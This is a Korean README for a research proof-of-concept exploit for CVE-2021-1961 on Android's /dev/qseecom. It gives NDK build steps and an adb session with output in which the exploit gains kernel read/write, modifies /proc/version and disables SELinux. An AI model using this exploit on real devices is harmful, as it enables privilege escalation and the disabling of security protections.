
CVE-2021-1961용 익스플로잇 코드
CVE-2021-1961에 대한 익스플로잇 코드입니다. 전체 분석 글은 제 블로그에서 확인할 수 있습니다.
익스플로잇을 빌드하려면 Android NDK의 ndk-build를 실행하세요.
익스플로잇을 실행하려면 /dev/qseecom에 접근할 수 있어야 합니다. 즉, 올바른 사용자/그룹과 올바른 SELinux 컨텍스트가 필요합니다. 이는 디버그 이미지에서 su system 명령어를 사용하거나, Magisk로 패치된 일반 이미지에서 su - system 명령어를 사용하여 수행할 수 있습니다.
다음은 Magisk로 패치된 일반 이미지에서 익스플로잇을 실행하는 예시입니다:
$ adb push qseecom_exploit /data/local/tmp
$ adb shell
blueline:/ $ cd /data/local/tmp
blueline:/data/local/tmp $ su - system
blueline:/data/local/tmp $ id
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:magisk:s0
blueline:/data/local/tmp $ getenforce
Enforcing
blueline:/data/local/tmp $ ./qseecom_exploit
[+] Setup widevine
[+] Got a 32 bit addresses ION
[+] Setup exploit kernel r/w
[+] Found kallsyms_token_table marker
[+] Found all kallsyms data
[+] Kernel virtual base address: 0xffffff9b9b080000
[+] Modified /proc/version
[+] Disabled SELinux
blueline:/data/local/tmp $ cat /proc/version
*modified*
blueline:/data/local/tmp $ getenforce
Permissive